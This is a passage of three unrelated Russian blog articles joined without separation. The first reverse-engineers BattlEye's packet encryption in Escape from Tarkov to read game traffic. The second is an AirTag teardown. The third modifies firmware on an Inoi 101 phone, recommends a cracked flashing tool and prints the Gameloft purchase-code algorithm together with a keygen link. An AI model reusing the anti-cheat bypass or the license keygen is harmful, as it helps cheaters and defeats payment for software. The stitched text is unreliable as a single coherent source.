Unity Engine без опции IL2CPP генерирует игровые файлы и помещает их в GAME_NAME_Data\Managed, в нашем случае это EscapeFromTarkov_Data\Managed. Эта папка содержит все использующие движок зависимости, включая файл с кодом игры Assembly-CSharp.dll, мы загрузили этот файл в dnSpy, а затем искали строку encryption и оказались здесь:

Этот сегмент находится в классе EFT.ChannelCombined, который, как можно судить по переданным ему аргументам, работает с сетью:

Правый клик по переменной channelCombined.bool_2, которая регистрируется как индикатор того, было ли включено шифрование, а затем клик по кнопке Analyze показывают нам, что на эту переменную ссылаются два метода:

Второй из них тот, в котором мы сейчас находимся, так что, дважды щёлкнув по первому, мы окажемся здесь:

Вуаля!Есть вызов BEClient.EncryptPacket, клик по методу приведёт к классу BEClient, его мы можем препарировать и найти метод DecryptServerPacket. Этот метод вызывает функцию pfnDecryptServerPacket в библиотеке BEClient_x64.dll. Она расшифрует данные в пользовательском буфере и запишет размер расшифрованного буфера в предоставленный вызывающим методом указатель.

pfnDecryptServerPacket не экспортируется BattlEye и не вычисляется EFT, на самом деле он поставляется инициализатором BattlEye, который в какой-то момент вызывается игрой. Нам удалось вычислить RVA (Relative Virtual Address), загрузив BattlEye в свой процесс и скопировав то, как игра инициализирует его. Код этой программы лежит здесь.

Анализ BattlEye

В последнем разделе мы сделали вывод, что, чтобы выполнить все свои криптографические задачи, EFT вызывает BattlEye. Так что теперь речь идёт о реверс-инжинеринге не IL, а нативного кода, что значительно сложнее.

BattlEye использует защитный механизм под названием VMProtect, который виртуализирует и изменяет указанные разработчиком сегменты. Чтобы правильно выполнить реверс-инжинеринг защищённого этим обфускатором бинарника, нужно распаковать его.

Распаковка это дамп образа процесса во время выполнения; мы сделали дамп, загрузив его в локальный процесс, а затем поработав в Scylla, чтобы сбросить его память на диск.

Открытие этого файла в IDA, а затем переход к процедуре DecryptServerPacket приведут нас к функции, которая выглядит так:

Это называется vmentry, она добавляет на стек vmkey, а затем вызывает обработчика виртуальной машины vminit. Хитрость вот в чём: из-за того, что инструкции виртуализированы VMProtect, они понятны только самой программе.

К счастью для нас, участник Секретного Клуба can1357 сделал инструмент, который полностью ломает эту защиту, VTIL; его вы найдёте здесь.

Выясняем алгоритм

Созданный VTIL файл сократил функцию с 12195 инструкций до 265, что значительно упростило проект. Некоторые процедуры VMProtect присутствовали в дизассемблированном коде, но они легко распознаются и их можно проигнорировать, шифрование начинается отсюда:

Вот эквивалент в псевдо-Си:

uint32_t flag_check = *(uint32_t*)(image_base + 0x4f8ac);if (flag_check != 0x1b)goto 0x20e445;elsegoto 0x20e52b;

VTIL использует свой собственный набор инструкций, чтобы ещё больше упростить код. Я перевёл его на псевдо-Си.

Мы анализируем эту процедуру, войдя в 0x20e445, который является переходом к 0x1a0a4a, в самом начале этой функции они перемещают sr12 копию rcx (первый аргумент в соглашении о вызове x64 по умолчанию) и хранят его на стеке в [rsp+0x68], а ключ xor в [rsp+0x58]. Затем эта процедура переходит к 0x1196fd, вот он:

И вот эквивалент в псевдо-Си:

uint32_t xor_key_1 = *(uint32_t*)(packet_data + 3) ^ xor_key;(void(*)(uint8_t*, size_t, uint32_t))(0x3dccb7)(packet_data, packet_len, xor_key_1);

Обратите внимание, что rsi это rcx, а sr47 это копия rdx. Так как это x64, они вызывают 0x3dccb7 с аргументами в таком порядке: (rcx, rdx, r8). К счастью для нас, vxcallq во VTIL означает вызов функции, приостановку виртуального выполнения, а затем возврат в виртуальную машину, так что 0x3dccb7 не виртуализированная функция! Войдя в эту функцию в IDA и нажав F5, вы вызовете сгенерированный декомпилятором псевдокод:

Этот код выглядит непонятно, в нём какие-то случайные ассемблерные вставки, и они вообще не имеют значения. Как только мы отменим эти инструкции, изменим некоторые типы var, а затем снова нажмём F5, код будет выглядеть намного лучше:

Эта функция расшифровывает пакет в несмежные 4-байтовые блоки, начиная с 8-го байта, с помощью ключа шифра rolling xor.

Примечание от переводчика:

Rolling xor шифр, при котором операция xor буквально прокатывается [отсюда rolling] по байтам:

• Первый байт остаётся неизменным.

• Второй байт это результат xor первого и второго оригинальных байтов.

• Третий байт результат XOR изменённого второго и оригинального третьего байтов и так далее. Реализация здесь.

Продолжая смотреть на ассемблер, мы поймём, что она вызывает здесь другую процедуру:

Эквивалент на ассемблере x64:

mov t225, dword ptr [rsi+0x3]mov t231, byte ptr [rbx]add t231, 0xff ; uhoh, overflow; the following is psuedomov [$flags], t231 u< rbx:8not t231movsx t230, t231mov [$flags+6], t230 == 0mov [$flags+7], t230 < 0movsx t234, rbxmov [$flags+11], t234 < 0mov t236, t234 < 1mov t235, [$flags+11] != t236and [$flags+11], t235mov rdx, sr46 ; sr46=rdxmov r9, r8sbb eax, eax ; this will result in the CF (carry flag) being written to EAXmov r8, t225mov t244, raxand t244, 0x11 ; the value of t244 will be determined by the sbb from above, it'll be either -1 or 0 shr r8, t244 ; if the value of this shift is a 0, that means nothing will happen to the data, otherwise it'll shift it to the right by 0x11mov rcx, rsimov [rsp+0x20], r9mov [rsp+0x28], [rsp+0x68]call 0x3dce60

Прежде чем мы продолжим разбирать вызываемую им функцию, мы должны прийти к следующему выводу: сдвиг бессмыслен из-за того, что флаг переноса не установлен, а это приводит к возвращаемому из инструкции sbb значению 0; в свою очередь, это означает, что мы не на правильном пути.

Если поискать ссылки на первую процедуру 0x1196fd, то увидим, что на неё действительно ссылаются снова, на этот раз с другим ключом!

Это означает, что первый ключ на самом деле направлял по ложному следу, а второй, скорее всего, правильный. Хороший Бастиан!

Теперь, когда мы разобрались с реальным ключом xor и аргументами к 0x3dce60, которые расположены в таком порядке: (rcx, rdx, r8, r9, rsp+0x20, rsp+0x28). Переходим к этой функции в IDA, нажимаем F5 и теперь прочитать её очень легко:

Мы знаем порядок аргументов, их тип и значение; единственное, что осталось, перевести наши знания в реальный код, который мы хорошо написали и завернули в этот gist.

Заключение

Это шифрование было не самым сложным для реверс-инжиниринга, и наши усилия, безусловно, были замечены BattlEye; через 3 дня шифрование было изменено на TLS-подобную модель, где для безопасного обмена ключами AES используется RSA. Это делает MITM без чтения памяти процесса неосуществимым во всех смыслах и целях.

Если вам близка сфера информационной безопасности то вы можете обратить свое внимание на наш специальный курс Этичный хакер, на котором мы учим студентов искать уязвимости даже в самых надежных системах и зарабатывать на этом.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

Самый миниатюрный продукт Apple, о котором долгое время ходили слухи (но это не электронный ключ), наконец-то добрался до Саманты Голдхарт автора статьи, переводом которой мы делимся в преддверии нового старта курса по iOS-разработке.

Добро пожаловать, AirTag! Интересно будет посмотреть, как AirTag со сменным аккумулятором (Да! Это первый сменный аккумулятор в продуктах Apple за последние годы!) будет выглядеть в сравнении с проверенными продуктами.

Устройства Apple и не-Apple

Для сравнения AirTag с конкурентами я взял ветерана рынка Tile Mate, а также Galaxy SmartTag производства Samsung. Из этих трёх устройств похожая на Mentos таблетка AirTag самая миниатюрная. Размером с монету в 50 центов, само устройство немногим больше своего аккумулятора. Tile самое тонкое из всех устройств, AirTag толще примерно в полтора раза, а если смотреть сбоку на SmartTag, то может показаться, что в нём могут уместиться целых два Tile. Apple, вероятно, желая сделать устройство максимально компактным, приняла нестандартное решение убрала из AirTag отверстие для брелока (эту проблему мы попробуем решить). Нечего и говорить, что ничто не сравнится с Apple в части превращения базовых функций в функции премиум в виде дополнительных приспособлений.

Но статья эта посвящена не только сравнению трекеров сегодня я подвергну разборке сразу три устройства! Сначала посмотрим на внутренности устройств с помощью рентгеновского аппарата Creative Electron.

Как всегда, по рентгеновским снимкам можно много чего понять. Судя по плотности размещения элементов, уменьшать AirTag уже некуда. К слову о плотности элементов: относительно тёмный снимок AirTag объясняется наличием большого магнита в центральном динамике и стальной крышки аккумуляторного отсека рентгеновские лучи через них проникают слабо. (Более подробные изображения можно посмотреть на превосходной панорамной анимации.) По сравнению с AirTag другие трекеры кажутся просто великанами а в них даже нет магнитов. (Хотите узнать, почему? Читайте дальше!)

Панорама AirTag в рентгеновских лучах 360:

Несмотря на впечатляющую компактность AirTag, в этом устройстве удалось реализовать сверхширокополосные (СШП) функции. Кстати, сама по себе технология СШП довольно интересная вещь. Samsung только что выпустила СШП-версию трекера, получившего название SmartTag+, но прошло уже две недели после официального релиза, а аппарат до США пока ещё не добралась. Я пыталась раздобыть один экземпляр для разборки, но безуспешно.

Начинаем разборку

Все три трекера можно открыть пальцами без всяких инструментов! Однако AirTag открывается сложнее других, особенно если вы недавно пообедали и пытаетесь это сделать жирными пальцами. Представьте, что вам нужно открыть банку с солёными огурцами двумя скользкими пальцами, и тогда поймёте, что я имею в виду. В других трекерах имеются специальные углубления для ногтей, и крышки с них снимаются элементарно.

Во всех конкурирующих устройствах есть сменные батареи, поэтому Apple, по всей видимости, решила не отставать и продемонстрировать соответствие рыночному стандарту. Тем не менее воздадим Apple должное за это, сам AirTag будет работать дольше своего аккумулятора, у Tile на это ушло 6 лет и 15 миллионов проданных ранее устройств.

Apple могла бы снабдить устройство раздражающим всех портом Lightning или встроенной (бесполезной и малоэффективной) функцией беспроводной зарядки, чтобы AirTag мог заряжаться от зарядного устройства Apple Watch, но Apple этого не сделала, и спасибо ей за это. Однако в ранних патентных заявках AirTag должен был заряжаться с помощью индуктивного зарядного устройства. Предвестник грядущих технологий? Или ещё одно доказательство существования продукта Apple, которого никогда не было?

А что с питанием? Разбираем аккумулятор

AirTag получил весьма оригинальный номер модели: A2187 (ну-ка, из какого это фильма?), а в регламентирующей документации имеется указание на тип аккумулятора CR2032. Логично! В AirTag и SmartTag используются трёхвольтовые аккумуляторы CR2032, а в Tile более компактные CR1632. Если судить по стандартной номенклатуре кнопочных элементов, во всех аккумуляторах используются литиевые батареи, но 20-мм элементы имеют ёмкость 0,66 Втч, в то время как ёмкость 16-мм элементов Tile составляет всего около 0,39 Вт/ч. На первый взгляд, эти аккумуляторы весьма схожи с аккумуляторами наушников earbuds, но отличаются от них тем, что предназначены для длительной подпитки устройства малым током, что и позволяет им выполнять свои функции.

Самостоятельной сменой аккумулятора удобства пользователя как начинаются, так и заканчиваются для всего остального понадобятся не только пальцы.

Tile и SmartTag легко разбираются с помощью монтажной лопатки и нагрева, но с AirTag всё не так просто. Вместе с тем герметизация AirTag, как ни странно, оказалась не такой уж и качественной. Не буду отрицать: без инструментов у меня ничего бы не вышло, ведь всё-таки три зажима да на клею недурно. Чтобы швы разошлись, AirTag нужно аккуратно сжать тисками и потыкать монтажной лопаткой. Если вы точно решили разобрать AirTag, будьте осторожны! Клеевые зажимы легче сломать, чем отклеить.

SmartTag производства Samsung единственный трекер, которому не присвоен класс защиты от проникновения загрязнений, и это довольно удивительно, учитывая, что этот трекер имеет самый толстый клеевой слой, защищающий печатную плату. Так что же, это худший из всех трекеров? Или Samsung просто старается не обещать слишком многого, как в случае с iPhone 6S?

Со звуком у Apple всегда сюрпризы

Вся конструкция AirTag это сплошные круговые части. Заметили "кнопку" на нижней стороне крышки? Это кнопка не нажимается, как у Mate и SmartTag. Это магнит, который ранее мы видели на рентгеновском снимке. Он размещается внутри логической платы в форме пончика, вложенной в катушку из меди. И это у нас динамик. Вы правильно прочитали корпус AirTag, в сущности, представляет собой один сплошной динамик. Питание подаётся на звуковую катушку, управляющую магнитом, установленным на диафрагме (в данном случае это пластиковая крышка, в которой размещается аккумуляторная батарея), и именно она издаёт звуки, на которые вы идёте, разыскивая потерянную сумку.

Но зачем вообще ставить сюда реальные приводные механизмы? Магниты не только увеличивают вес, но и занимают довольно много места. Миниатюрные пьезоэлектрические динамики в Mate и SmartTag во время тестирования издавали такой же и даже более громкий звук, поэтому дело тут не в громкости. Похоже, что от одного удовольствия Apple здесь не могла отказаться ей хотелось качественного звука. Пьезодинамики миниатюрны, дёшевы, но звучат под стать цене, например как динамики в игрушках из набора Happy Meal в ресторанах Макдональдс. Зная Apple и зная, с какой серьёзностью компания подходит к проектированию звуковых источников, можно заключить, что на звуке она здесь даже здесь! не сэкономила.

Набор инструментов для вскрытия корпусов, отсоединения кабелей, снятия АЦП и прочего.

Нет отверстия для брелока? Спокойно, я нашла его

На некоторое время прервём разборку. В отличие от конкурентов с отверстием для брелока, на идеально круглой внешней поверхности AirTag вообще нет места, чтобы продеть брелок по крайней мере найти его не так просто. Официальный способ крепления устройства к ключам предполагает закупку различных аксессуаров, то есть придётся заказывать и ждать. Но, если вы можете уверенно держать дрель и готовы рискнуть 29 долларами... то специально для вас я создала собственную методику DIY.

Я внимательно изучила внутренности первого AirTag. Затем взяла сверло 1/16" и аккуратно проделала отверстие во втором трекере из нашей упаковки в четыре штуки (разумеется, сначала я вынула из него аккумулятор). Каким-то чудом мне удалось не задеть микросхемы, платы и антенну, и я просверлила только клееный пластик. Что самое приятное было в этой операции? А то, что AirTag стойко её пережил и продолжил работать как ни в чём не бывало.

Удивительно, но звуковой профиль практически не изменился: уровень децибел на расстоянии одного iPhone Mini от AirTag находился в пределах погрешности +/- 1 дБ от непросверленного AirTag (около 7880 дБ). С учётом того, что в качестве мембраны динамика Apple использует сам пластиковый купол, это стало приятным сюрпризом.

Прежде чем поделиться с вами секретами сверления, предупреждаю в последний раз: хотите делать делайте, но только на свой страх и риск! Если начать сверлить не в том месте, можно серьёзно повредить устройство. Поэтому не пытайтесь это делать в домашних условиях, если не готовы превратить свой трекер в практически невесомое пресс-папье. Сопровождённые этим напутствием, посмотрите теперь видео с обнаруженными нами "безопасными зонами".

Чтобы безопасно продырявить AirTag, нужно просверлить одну из выемок в печатной плате / экране антенны (подробнее об этом расскажу чуть позже) в том месте, в которое заходят зажимы, скрепляющие части трекера. На видео я выделила три таких выемки. Можно увидеть, что их положение примерно соответствуют положению зажимов металлической крышки аккумуляторного отсека, то есть эти зажимы можно использовать в качестве ориентира. В идеальном случае нужно не попасть сверлом в сам зажим (у меня это получилось), а просверлить только клеевую часть, но, если всё-таки случится так, что вы заденете зажим это не будет смертельно ни для вас, ни для AirTag.

Кстати, Apple за 13 долларов продаёт держатели для AirTag, не говоря уже о сторонних производителях, продукция которых уже заполонила интернет-магазины. Но мой доморощенный способ сверления отверстия позволяет разместить AirTag на брелоке или кольце с минимальным количеством дополнительных деталей, увеличивающих вес и объём конструкции. Взломать можно даже самое мелкое устройство, и мы будем бороться за это наше право.

Заскучали? Напрасно, ведь мы ещё не вскрывали платы

Мы поговорили об аккумуляторах, поразвлекались немного с дрелью, теперь перейдём к мозговому центру платам. Материнская плата Mate (слева) красивого чёрного цвета помещена в литую пластиковую рамку и вынимается простым движением вверх. SmartTag от Samsung (справа) единственный из трёх трекеров, в котором используются винты: два из них крепят плату. Это довольно удивительно, учитывая любовь Samsung к клеевым соединениям.

AirTag самый стойкий из трёх трекеров. Он скорее умрёт, но, где спрятано золото, не выдаст. Его плата приклеена намертво, и монтажной лопатке развернуться совсем негде. Плата размещена в изящно спаянном корпусе антенны, а в центре "пончика" располагается крайне хрупкая звуковая катушка. Плата сидит как влитая, и вряд ли её можно снять, не повредив. Если вы решили повторить мой путь и добрались до этого места, смиритесь с тем, что восстановить работоспособность устройства, скорее всего, не удастся.

Как и во многих продуктах Apple, плата AirTag многослойная прямо как огр. Слева показана вся сборка (вид сверху) с медной звуковой катушкой в центре, которая всё ещё скреплена двумя паяными соединениями. Плата размещается внутри позолоченной пластиковой антенной рамки, которую, чтобы лучше рассмотреть, мы перевернули (в центре, звуковая катушка снята); а справа показана нижняя часть платы, на которой размещается "тяжелая артиллерия".

На первой стороне платы находится трёхосевой акселерометр, контактные штыри аккумулятора и те самые точки пайки голосовой катушки, работающие в паре вышеупомянутым магнитом, заставляя AirTag издавать звуки.

Под этими приспособлениями на обратной стороне платы размещаются чипы, датчики и другие миниатюрные элементы.

В своём анонсе AirTag Apple только и говорила, сколько усилий она приложила, чтобы её трекер соответствовал стандартам конфиденциальности Apple. Предотвращая злоумышленное использование, iPhone предупредит хозяина, если AirTag, не зарегистрированный в его учётной записи iCloud, следит за ним. Кроме того, AirTag, который хозяин не использовал длительное время, начнёт издавать звуки, если его взять в руки, и тем самым привлечёт к себе внимание.

Но вернёмся к звуку. Что, если злоумышленник отключит динамик AirTag, а потом заставит его за кем-то следить? Мы провели небольшое исследование и считаем нужным сообщить: есть несколько относительно простых способов отключения динамика и сохранения при этом работоспособности AirTag. По понятным причинам мы не будем рассказывать, как это сделать. Просто знайте об этом особенно если учесть, что не у всех есть iPhone, который может получать уведомление о "выключенном" AirTag. Для сравнения: пьезоэлектрические динамики в Tile Mate и Galaxy SmartTag отключаются так же легко, но они, похоже, не могут похвастаться такими же мощными функциями безопасности.

Итак, мы разобрали устройство

Мы не можем объяснить, почему AirTag так долго добирался до рынка, но можем с уверенностью сказать, что компания постаралась на славу. Это устройство не похоже на продукт первого поколения. Можно ли в него внести улучшения? Можно, но, по сравнению с рыночным стандартом Tile AirTag представляется устройством, продуманным до мелочей. По сравнению с предложением Samsung AirTag это элегантная футуристическая ЕВА, а SmartTag неуклюжий работящий ВАЛЛ-И.

Кстати, об улучшениях: хотя Apple любит продукты, которые "просто работают", иногда таким продуктам требуется небольшая помощь, чтобы ими могли пользоваться простые люди. Оказалось, что методы DIY вполне работоспособны и не лишают вас возможностей (кроме потери класса защиты от проникновения загрязнений, но эту проблему побороть легко нужна всего пара нашлёпок Sugru). С другой стороны, одна из главных функций безопасности AirTag довольно элементарно отключается без всяких хитростей мрачное напоминание, что в наши дни цифровая конфиденциальность и безопасность остаются и ещё долго будут оставаться головной болью разработчиков.

Так какой же трекер взял главный приз? С точки зрения аппаратного обеспечения, его продвинутость большой роли не играет, но если у вас iPhone 11 или выше (кроме iPhone SE 2020), то добавленная к AirTag СШП-функциональность указателя будет приятным плюсом. С точки зрения ремонтопригодности, все устройства имеют сменные батареи, и на этом практически всё. Но могло быть и хуже! AirTag, естественно, выглядит наиболее впечатляюще, у него изящный динамик. Кому как, но мы считаем, что Apple идёт верной дорогой.

Какие трекеры мы пропустили? Сколько трекеров вы используете, и как долго они служат? Покажите нам, как вам удалось сделать отверстия в своих AirTag и следите за публикациями, чтобы этой весной увидеть новые разборки.

Если вам интересны устройства Apple изнутри во всех смыслах и вы хотели бы попробовать себя в роли мобильного разработчика, обратите внимание на наш курс по iOS-разработке, где вы научитесь кодить на Swift, работать с анимациями, познакомитесь с Human Interface Guidelines (руководством по созданию интерфейсов по стандартам Apple) и опубликуете своё приложение в AppStore.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

Введение

Несмотря на чрезвычайную популярность смартфонов, обычные кнопочные телефоны не потеряли свою актуальность среди людей, которым нужны исключительно базовые функции связи.
Рынок РФ заполнен множеством моделей разных характеристик, размеров, форм-факторов и расцветок: от миниатюрных телефонов размером с автомобильный брелок для удобной доставки на зону, до моделей а-ля 90-е, которыми можно убить грудного ребёнка.

Купил я телефон Inoi 101: дешевый, но функционально достойный даже на фоне более дорогих моделей. Всё бы хорошо, если бы не нежелательная функциональность, присущая большинству недорогих звонилок:

• Пробные игры с покупкой полной версии через СМС, причём состояние покупки сбрасывается при полном сбросе устройства;

• Встроенное меню СМС-подписок "Funbox": гороскопы, анекдоты, новости, прочая платная ерунда.

Попробуем устранить недостатки путём анализа и модификации прошивки.

Чипсет

Современные кнопочные девайсы строятся на платформах трёх производителей: RDA Microelectronics, Spreadtrum, Mediatek. Первой компании уже не существует: её купил Spreadtrum в середине 2015. Обе компании ребрендировали под именем Unisoc в 2018 году.

Рассматриваемый телефон работает на последнем чипе классического RDA семейства Gallite, и был сделан уже после покупки компании, из-за чего у чипа два названия: RDA8826C (RDA'шное) и SC6533g (Spreadtrum'овское). В интернете нет не только datasheet'ов, но и почти никакой публичной информации об этой модели.
Архивная страница сайта rdamicro.com 2017 года скупо повествует нам о ключевых возможностях SoC'а:

General Description
RDA8826C is a high performance, highly integrated system-on-chip solution for low cost, low power, GSM/GPRS mobile phone.
Integrating all essential electronic components, including baseband, quad band RF transceiver, power management, FM receiver, Bluetooth onto a single system on chip, RDA8826C offers best in class bill of material, space requirement and cost/feature ratio for complete phone handsets.

Key Features
1. MIPS 312MHz processor
2. GSM/GPRS modem
3. 32Mb Flash and 64Mb PSRAM integrated
4. 320x480(HVGA) resolution

Нынешние телефоны построены в основном на процессорах Spreadtrum и Mediatek архитектуры ARM. Inoi 101 не только последний из могикан на чипе ныне несуществующей компании, но и работает на ныне непопулярной архитектуре, с не самым известным набором команд MIPS16e, в котором инструкции кодируются в 2 байта вместо четырех, для уменьшения размера прошивки, что жизненно необходимо устройству со всего 4 МБ (32 Мбит) флеша.

Печальный факт: производители современных звонилок агрессивно экономят на флеш-памяти. Доступный пользователю объем выражается, как правило, десятками килобайт.
Вы не сможете пользоваться диктофоном или камерой без MicroSD-карты. Количество контактов и СМС-сообщений в памяти телефона ограничено, как и длина поля имя, и общее количество полей записной книги.
Для сравнения, в Samsung X100 2003 года выпуска пользователю было доступно 9 мегабайт памяти, в Siemens C65 2004-го 6 МБ.
Такова плата за дешевизну: X100 $230 на старте продаж, Inoi 101 $9.

SoC RDA8826 содержит в себе центральный процессор RDA8809e2, Baseband-процессор CT8851C, Bluetooth и FM-модули rdabt_8809 и rdafm_8809. Достоверная информация о всех компонентах в интернете не представлена.

Получение прошивки

Чтобы модифицировать прошивку, нужно сначала завладеть ей. Самый простой вариант поискать на веб-сайте производителя. Inoi выкладывает прошивки ко всем своим моделям, но они не всегда самые последние оказалось, что в версии с сайта отсутствует набор Т9 и игра Тетрис.
Что-ж, телефон уже прошит, придётся покупать второй и скачивать актуальную прошивку с него. Сделать это можно, в случае RDA, только сторонними программами, т.н. боксами аппаратно-программными комплексами для прошивки и восстановления от сторонних разработчиков. Обычно необходимо купить сам бокс (устройство с набором кабелей) и подписку на ПО, но к счастью подходящее ПО уже есть взломанной версии, отвязанное и от бокса, и от подписки Miracle Thunder 2.82 от Gsm_X_Team. Относитесь к этому ПО как к трояну устанавливайте на отдельный компьютер, без интернета (в виртуалке не работает).

Официальные прошивки поставляются в текстовом формате .lod. Этот формат описывает процесс прошивки поблочно, в соответствии с размерами блоков флеш-памяти, в виде адреса загрузки и бинарных данных, закодированных по 4 байта little endian. Формат нестандартный, но простой, без особенностей. Единственное, что нужно учесть при написании конвертера файл описывает не все блоки флеша, некоторые из блоков не программируются (есть дыры).

#$mode=flsh_spi32m#$sectormap=(16 x 4k, 57 x 64k, 96 x 4k)#$base=0x08000000#$spacesize=0x08000000#$XCV_MODEL=xcv_8809e2 #$PA_MODEL=pasw_hs8292u #$FLSH_MODEL=flsh_spi32m #$FLASH_SIZE=0x00400000 #$RAM_SIZE=0x00800000 #$RAM_PHY_SIZE=0x00800000 #$CALIB_BASE=0x003FA000 #$FACT_SETTINGS_BASE=0x003FE000 #$CODE_BASE=0x00000000 #$USER_DATA_BASE=0x00380000 #$USER_DATA_SIZE=0x0007A000 #$PM_MODEL=pmu_8809 #$FM_MODEL=rdafm_8809e @08000000d9ef004500000000000000000000000027bdffd0afb10028008088213c0481e0

Открываем дамп флеша или преобразованный файл прошивки в вашем любимом дисассемблере, начинаем анализировать, быстро разочаровываемся: строк мало, сегментация памяти непонятная, IDA норовит неправильно определить MIPS32/MIPS16-код, тут и там странные указатели 0x82xxxxxx на оперативную память, в которые никто не пишет

Скребём по сусекам

Раз не получается найти спецификацию на процессор, попробуем поискать какие-либо исходники по немногочисленным строкам, найденным в прошивке.

Поиск приводит к двум репозиториям: https://github.com/jprothwell/sc-fix и https://github.com/cherryding1/RDA8955_W17.44_IDH
По первой ссылке можно скачать старые, но достаточно актуальные исходные коды загрузчика, HAL, пользовательского интерфейса и всей обвязки для старого семейства чипов RDA, а по второй ссылке доступен memory layout [1], [2] для нашего процессора.

Из заголовочных файлов узнаём самое основное:

• Флеш располагается по адресу 0x88000000 (4 МиБ)

• Оперативная память в 0x82000000 (8 МиБ)

• SRAM 0x81C00000 (64 КиБ)

• BootROM 0x81E00000

UI на моём устройстве построен на форке фреймворка MMI (man-machine interface) от компании Pixtel CoolMMI. Подобный фреймворк используется и в ОС для кнопочных телефонов Mediatek MAUI, под названием PlutoMMI.

Фреймворк создавался в лучшие годы кнопочных телефонов, с соответствующим качеством кода всё завязано на глобальные переменные, глобальные состояния, магические константы, массивы строк, массивы функций-обработчиков кнопок. Монолитная архитектура без какой-либо модульности (даже минимальной) не позволяет писать красивый код разные функциональные возможности активируются #define'ами в унифицированных *.c-файлах для всех случаев, затрудняющими чтение кода.

Обращение к текстовым строкам, ресурсам, задачам, меню, элементам NVRAM происходит с помощью уникального цифрового идентификатора, что затрудняет исследование: вы видите только цифры, далеко не сразу поддающиеся установке соответствия в осмысленную строку, пункт меню или ресурс.

/* Get current screen to gui buffer  for history purposes*/guiBuffer = GetCurrGuiBuffer( SCR_CALL_TIME_SETUP_MAIN );/* Retrieve no of child of menu item to be displayed */nNumofItem = GetNumOfChild( MENU_CALL_TIME_SETUP );/* Get attribute of menu to be displayed *///nDispAttribute = GetDispAttributeOfItem( MENU_CALL_TIME_SETUP );/* Retrieve string ids in sequence of given menu item to be displayed */GetSequenceStringIds( MENU_CALL_TIME_SETUP, nStrItemList );/* Set current parent id*/SetParentHandler( MENU_CALL_TIME_SETUP );/* Register highlight handler to be called in menu screen */RegisterHighlightHandler( ExecuteCurrHiliteHandler );/* Construct hint for menu items */ConstructHintsList(MENU_CALL_TIME_SETUP, displayBuffer);/* Display Category1 Screen */ShowCategory52Screen( STR_MENU_CALL_TIME_SETUP, IMG_MENU_CALL_TIMES,                        STR_GLOBAL_OK, IMG_GLOBAL_OK, STR_GLOBAL_BACK,                        IMG_GLOBAL_BACK, nNumofItem, nStrItemList,                        (U16 *)gIndexIconsImageList,                        displayBuffer, 0, 0, guiBuffer );/* Register function with right softkey */SetKeyHandler( GoBackHistory,KEY_LEFT_ARROW, KEY_EVENT_DOWN);SetRightSoftkeyFunction( GoBackHistory, KEY_EVENT_UP );return;

Начальную информацию об основных функциях PlutoMMI от Mediatek можно почерпнуть из файла mmi framework and architecture.pdf. Архитектура CoolMMI и PlutoMMI совпадает в достаточной мере, чтобы пользоваться (аналогично скудной) документацией конкурирующего производителя.

Поиск сжатых ресурсов

Итак, память размечена правильно, а кардинальных изменений не видно множество функций продолжают вызывать код из оперативной памяти, но найти, кто пишет в эти адреса, с наскока не получается. Да и ресурсов подозрительно мало.

После непродолжительного анализа обнаруживаются три особенности:

Переиспользование функций из BootROM
Для максимальной экономии пространства на флеш-памяти производитель реализовал наиболее востребованные функции библиотеки C непосредственно в ROM-памяти чипа: строковые функции (strlen, strcmp, strcpy, strcat, strtok), функции сравнения и копирования памяти (memcmp, memcpy, memmem, memchr), форматирования и вывода (sprintf, vsprintf), поиска и сортировки (bsearch, qsort) вызываются из памяти ROM, и не содержатся в коде прошивки, экономя драгоценные килобайты.

Сжатие кода и ресурсов алгоритмом LZMA
Код наиболее объемных модулей (WAP-браузера, мультимедиа-плеера, приложения FM-радио, инженерного меню) хранится в сжатом виде, а распаковывается один раз, при запуске телефона. Ничего дополнительного после распаковки не происходит: код скомпонован так, будто эти модули всегда в оперативной памяти по фиксированным адресам.
Аналогично распаковываются текстовые строки, но только для одного, текущего языка.

Копирование несжатого кода в оперативную память
Самый архитекрутно важный код ОС копируется в оперативную память и выполняется из неё. Вероятно, это сделано для максимальной скорости исполнения базовых функций ОС.

Сжатые ресурсы легко находятся через binwalk. Можно было бы каждый из них вручную распаковать и загрузить в текущую базу IDA по корректным адресам, но я нашел способ проще, надёжней и быстрее.

Снятие оперативной памяти

Оказалось, протокол прошивки не только простой, но и разрешает чтение произвольных адресов без какой-либо подготовки, прямо во время работы телефона. В интернете была найдена готовая программа для чтения прошивки через UART, которая после модификации была использована для чтения всех 8 МиБ оперативной памяти через USB. 2 минуты и никакой ручной работы!
Чтобы получить коммандный порт через USB, можно воспользоваться модулем usb-serial в Linux. Достаточно всего лишь научить модуль работать с RDA:

$ echo 1e04 0900 | sudo tee /sys/bus/usb-serial/drivers/generic/new_id

Отныне нам доступны все распакованные функции и ресурсы в оперативной памяти, что позволяет нам беспрепятственно их проанализировать.

Покупаем игры

В рассматриваемом телефоне присутствуют 3 платных игры производства Gameloft: Danger Dash, Ninja Up, Tetris. Первая раннер, без какой-либо физики прыжка, вторая примитивный фроггер с одним экраном, играть можно разве что в тетрис, но он начинает тормозить при заполнении экрана фигурами.
Каждая игра запускается всего 5 раз, далее их предлагается оплатить. Игры стоят 99 рублей каждая половину стоимости телефона обдираловка!

С точки зрения пользователя, покупка совершается так: нажимаем на кнопку купить, телефон отправляет платное СМС, пользователю приходит ответный код, который нужно ввести в окно регистрации. Но если купить игру, запомнить ответный код, сбросить телефон и попробовать заново ввести этот же код, то он, с большой вероятностью, не подойдет.
Как так?

Алгоритм следующий:

1. Генератор псевдослучайных чисел инициализируется значением текущей минуты;

2. Генерируется псевдослучайное число от 1000 до 9999;

3. Случайное число отправляется в СМС и сохраняется в NVRAM;

4. Ответный код проверяется с учётом сохраненного случайного числа.

Связка запрос-ответ уникальна для каждой модели, и зависит от той минуты, в которую была нажата кнопка купить:

game_response_code = (1000 * (game_random % 10)                    + game_random / 1000                    + 100 * (game_random / 10 % 10)                    + 10 * (game_random / 100 % 10)) ^ 0x1D6B;game_code_temp = game_response_code;game_response_code = atoi("28060") + game_code_temp;return game_response_code == input_code;

Где 28060 идентификатор телефона Inoi 101.
Этот нехитрый алгоритм легко реализовать в виде кейгена, что я и сделал: http://gameloft-keygen.valdikss.org.ru/
К слову, на телефонах с Mediatek алгоритм кода регистрации точно такой же, но алгоритм генерации псевдослучайных чисел отличается.

